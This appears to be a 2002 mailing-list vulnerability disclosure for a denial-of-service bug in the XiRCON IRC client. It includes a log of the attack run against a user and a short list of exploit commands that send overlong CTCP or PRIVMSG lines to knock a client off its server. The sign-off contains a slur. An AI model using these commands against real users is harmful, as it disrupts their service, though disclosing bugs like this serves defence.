OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: D4rkGr3y (grey_1999mail.ru)
Date: Fri Jul 05 2002 - 00:38:31 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    I founded bug in XiRCON v.10B4. This is popular irc-client (uses tcl-scripts). You can download
    it from www.xircon.com.

    Possible DoS attack.

    If we send to this irc-client data with large size, it will be disconnected from the server.
    Ctcp-request: 471b
    Msg\privmsg\notice: 473b
    This is the log of DoS-attack on user "XiRC" by useing long ctcp-request (# - comments):

    *** Connecting to irc.mv.ru
    *** Connected to irc.mv.ru
    #MOTD command...
    #D4rkGr3y is sending "/ctcp XiRC <aaa...a>" command
    *** ERROR: Line length exceeded
    *** :D4rkGr3y!death202.159.66.66 PRIVMSG XiRC
    : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAA
    *** Disconnected from irc.mv.ru

    U can't use this bug on all irc-servers. Some of them cut down ur request, because it's very
    long. But some of them are not (RusNet for example).

    Xsploits:
    /ctcp [nickname] [471b]
    /privmsg [nickname] [473b]
    /msg [channel] [473b]
    /notice [nickname] [473b]

    How to Fix?
    I don't know...wait for updates..
    That's all. 10x.

    ------------------------------------------------------------
    Bug founded by D4rkGr3y from DHGroup (http://www.dhgroup.org)
    10x 2 GooDWiN, KodsWeb and all nigaz from irc.dal.net.ru:#DHG